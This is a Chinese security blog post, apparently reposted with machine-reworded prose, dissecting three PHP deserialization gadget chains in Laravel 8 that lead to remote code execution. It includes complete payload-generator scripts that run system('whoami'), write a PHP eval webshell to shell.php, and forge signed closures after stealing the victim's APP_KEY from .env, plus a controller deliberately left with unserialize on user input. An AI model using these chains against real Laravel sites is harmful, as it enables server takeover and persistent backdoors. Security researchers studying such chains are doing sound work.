首页 » 网站推广 » phpbus技巧_Laravel8反序列化POP链分析挖掘

phpbus技巧_Laravel8反序列化POP链分析挖掘

访客 2024-11-21 0

扫一扫用手机浏览

文章目录 [+]

作者:Dig2@星盟

序言

作为目前PHP最主流的框架之一,Laravel的主体及其依赖组件一贯保持着较频繁的更新。
自从2020年9月份Laravel 8发布以来,已经更新了四十多个版本,均匀每个月都有八次旁边的更新。
除了优化,还有主要的缘故原由在于安全性。
例如CVE-2021-3129可以在Laravel的Debug模式下任意代码实行。
这个CVE的命令实行步骤中有一部分依赖于Phar反序列化的实行。
比较较于目前被剖析较多的Larave 5.X版本的POP链,Laravel 8 部分组件版本较新,部分类加上了__wake方法进行过滤或者直接禁止了反序列化,故利用办法有所差异。
本文剖析并挖掘了当前Laravel 8版本中的反序列化链。

phpbus技巧_Laravel8反序列化POP链分析挖掘

利用composer默认安装办法

phpbus技巧_Laravel8反序列化POP链分析挖掘
(图片来自网络侵删)

composer create-project --prefer-dist laravel/laravel=8.5.9 laravel859

Laravel版本8.5.9,framework版本8.26.1,详细组件版本可参照Packagist Laravel

手动添加反序列化点:

/routes/web.php:

<?phpuse Illuminate\Support\Facades\Route;use App\Http\Controllers\IndexController;Route::get('/', [IndexController::class, 'index']);

/app/Http/Controllers/IndexController.php:

<?phpnamespace App\Http\Controllers;use Illuminate\Http\Request;class IndexController extends Controller{ public function index(Request $request) { $p = $request->input('payload'); unserialize($p); }}

反序列化链剖析链一

探求__destruct

入口类为:\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php的class PendingBroadcast

这是一个很经典的入口类了,如果读者有研究Laravel 5的反序列化链,可能会知道这个类。
其__destruct方法:

我们可以掌握$this->events和$this->event。
如果使$this->events为某个拥有dispatch方法的类,我们可以调用这个类的dispatch方法。

探求dispatch方法

\vendor\laravel\framework\src\Illuminate\Bus\Dispatcher.php的class Dispatcher存在dispatch方法

$command可控,$this->queueResolver可控,$this->commandShouldBeQueued哀求$command为ShouldQueue的实例

全局搜索,随便找一个ShouldQueue的子类即可

然后就能够进入$this->dispatchToQueue方法

$this->queueResolver和$connection均可控。
payload如下:

<?php// 1.phpnamespace Illuminate\Broadcasting { class PendingBroadcast { protected $events; protected $event; public function __construct($events, $event) { $this->events = $events; $this->event = $event; } } class BroadcastEvent { public $connection; public function __construct($connection) { $this->connection = $connection; } }}namespace Illuminate\Bus { class Dispatcher { protected $queueResolver; public function __construct($queueResolver){ $this->queueResolver = $queueResolver; } }}namespace { $c = new Illuminate\Broadcasting\BroadcastEvent('whoami'); $b = new Illuminate\Bus\Dispatcher('system'); $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c); print(urlencode(serialize($a)));}

加强

上面的利用方法中,实行call_user_func($this->queueResolver, $connection);时,实行的函数只有$connection一个参数。
如果现在须要实行一个多参数函数比如file_put_contents就没办法了。

把稳到这里call_user_func的第一个参数除了可以是函数名字符串,还有两种可以利用办法:

使第一个参数为一个类,就能调用该类的__invoke方法使第一个参数为数组,例如[class A, 'foo'],表示调用类A的foo方法。
下面分别先容这两种办法例子

法一:调用__invoke

这里的利用稍为繁芜

在\vendor\opis\closure\src\SerializableClosure.php的class SerializableClosure找到了一个非常俊秀的__invoke函数

这里的$this->closure和func_get_args()均可控,我本来以为能够直接RCE了,然而后面还有两个棘手的问题。

一个是该类利用的不是标准序列化反序列化方法,而是实现了自己的序列化和反序列化方法:

实在这个问题不难办理,我们可以在天生payload的时候,利用composer引入该组件:

composer require opis/closure

然后在天生payload的代码中加入:

require "./vendor/autoload.php";

再:

$func = function(){file_put_contents("shell.php", "<?php eval(\$_POST['Dig2']) ?>");};$d = new \Opis\Closure\SerializableClosure($func);

就能天生该类实例了

第二个棘手的问题在于,Laravel 8和Laravel 5有一个差异。
Laravel 8在序列化和反序列化该类时,利用了验证secret。

该secret由环境变量配置文件,也便是.env中的APP_KEY决定,Laravel安装的时候,会在.env文件中天生一个随机的APP_KEY,例如:

APP_KEY=base64:2qnzxAY/QWHh/1F174Qsa+8LkuMoxOCU9qN6K8KipI0=

我们在本地天生payload的时候,也要手动天生一个static::$securityProvider,并且secret和远程受害者假如一样的才行。
方法为,在本地的class SerializableClosure的源码SerializableClosure.php文件中加入这么一行(字符串为受害机.env文件中的密钥):

那么如何获取受害机的APP_KEY呢?我们在上面既然实现了单参数的任意函数实行,那么file_get_content('.env')就行了。
当然,如果有其他漏洞点能够透露配置文件就更方便了。

综上所述,天生payload脚本:

<?php// 1-1.phpnamespace Illuminate\Broadcasting { class PendingBroadcast { protected $events; protected $event; public function __construct($events, $event) { $this->events = $events; $this->event = $event; } } class BroadcastEvent { public $connection; public function __construct($connection) { $this->connection = $connection; } }}namespace Illuminate\Bus { class Dispatcher { protected $queueResolver; public function __construct($queueResolver){ $this->queueResolver = $queueResolver; } }}namespace { require "./vendor/autoload.php"; $func = function(){file_put_contents("shell.php", "<?php eval(\$_POST['Dig2']) ?>");}; $d = new \Opis\Closure\SerializableClosure($func); $c = new Illuminate\Broadcasting\BroadcastEvent('whoami'); $b = new Illuminate\Bus\Dispatcher($d); $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c); print(urlencode(serialize($a)));}

法二:调用另一个类某可控函数

这里利用了JrXnm师傅在其文章Laravel 5.8 RCE POP链汇总剖析中提到的方法,利用vendor\phpoption\phpoption\src\PhpOption\LazyOption.php的class LazyOption,不才面链二的加强中演示。
payload一并放在文末的github地址中。

链二

探求__destruct

同链一,入口类为:\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php的class PendingBroadcast

我们可以掌握$this->events和$this->event。
如果使$this->events为某个类,并且该类没有实现dispatch方法却有__call方法,那么就可以调用这个__call方法了

探求__call

随后找到位于\vendor\laravel\framework\src\Illuminate\Validation\Validator.php中的class Validator

它有__call方法:

$parameters可控,$method为固定字符串dispatch,取substr($method, 8)后,为空字符串,故$rule为''。
$this->extensions可控,跟踪$this->callExtension()方法

$callback和$parameters都是可控的,于是一条利用链就出来了。
payload如下:

<?php// 2.phpnamespace Illuminate\Broadcasting { class PendingBroadcast { protected $events; protected $event; public function __construct($events, $event) { $this->events = $events; $this->event = $event; } }}namespace Illuminate\Validation { class Validator { public $extensions; public function __construct($extensions){ $this->extensions = $extensions; } }}namespace { $b = new Illuminate\Validation\Validator(array(''=>'system')); $a = new Illuminate\Broadcasting\PendingBroadcast($b, 'whoami'); print(urlencode(serialize($a)));}

加强

对付链二的总结便是:

$callback(... array_values($parameters));

$callback可控,$parameters最多只能为单成员的数组。
以是这里也具有无法实行多参数函数比如file_put_contents的问题。

把稳到这里利用的是PHP中的可变函数,经由实验,如下代码可行:

<?phpclass A{ public function __invoke(){ echo "invoke".PHP_EOL; } public function test(){ echo "test".PHP_EOL; }}$callback1 = new A;$callback1(''); // 输出invoke$callback2 = array(new A, 'test');$callback2(''); // 输出test

因此,可以掌握上面利用链中的$callback为数组,就可以调用某其他类任意函数了。

vendor\phpoption\phpoption\src\PhpOption\LazyOption.php的class LazyOption是一个很好的选择。

其option方法可以调用call_user_func_array函数,且两个参数都可控

虽然option是private属性的方法,在其它类中无法直接调用,但是可以创造在该类自身中,许多函数都在调用option函数

于是布局成功,payload如下所示

<?php// 2-1.phpnamespace PhpOption { class LazyOption { private $callback; private $arguments; public function __construct($callback, $arguments) { $this->callback = $callback; $this->arguments = $arguments; } }}namespace Illuminate\Broadcasting { class PendingBroadcast { protected $events; protected $event; public function __construct($events, $event) { $this->events = $events; $this->event = $event; } }}namespace Illuminate\Validation { class Validator { public $extensions; public function __construct($extensions){ $this->extensions = $extensions; } }}namespace { $c = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php eval(\$_POST['Dig2']) ?>"]); $b = new Illuminate\Validation\Validator(array(''=>[$c, 'select'])); $a = new Illuminate\Broadcasting\PendingBroadcast($b, 'not important'); print(urlencode(serialize($a)));}链三

入口类为\vendor\guzzlehttp\guzzle\src\Cookie\FileCookieJar.php的class FileCookieJar。
此类在Laravel 5中没有涌现。
其有__destruct函数:

$this->filename可控,跟踪save函数:

有file_put_contents函数。
一起顺下去,能看到该类的接口是实现了IteratorAggregate的,如下

interface CookieJarInterface extends \Countable, \IteratorAggregate

也便是说它实现了自己的foreach ($this as $cookie)方法,这里同样用composer安装一下该组件再进行获取序列化字符串比较方便。
由于我们要通过其父类的SetCookie方法来设置这里的$cookie值。
别的没有什么值得把稳的地方,比较大略,payload如下:

<?php// 3.phpnamespace{ require "./vendor/autoload.php"; $a = new \GuzzleHttp\Cookie\FileCookieJar("shell.php"); $a->setCookie(new \GuzzleHttp\Cookie\SetCookie([ 'Name'=>'123', 'Domain'=> "<?php eval(\$_POST['Dig2']) ?>", 'Expires'=>123, 'Value'=>123 ])); print(urlencode(serialize($a)));}

总结

Laravel 8相对付Laravel 5而言,增加了几个组件,又去掉了另几个组件。
利用链有部分重叠,也有修复与弥补。
整体剖析下来,思路是非常清晰的,从__destruct函数到__invoke或者__call等,再到危险函数完成RCE,中间或许须要跳板反复利用。
密钥等信息的透露也会带来RCE的风险。

上面代码凑集:https://github.com/WgagaXnunigo/laravel8_POP_RCE

相关文章

php礼拜断定技巧_PHP date 函数

PHP date( 函数PHP date( 函数可把韶光戳格式化为可读性更好的日期和韶光。韶光戳是一个字符序列,表示一定的事宜...

网站推广 2024-12-12 阅读0 评论0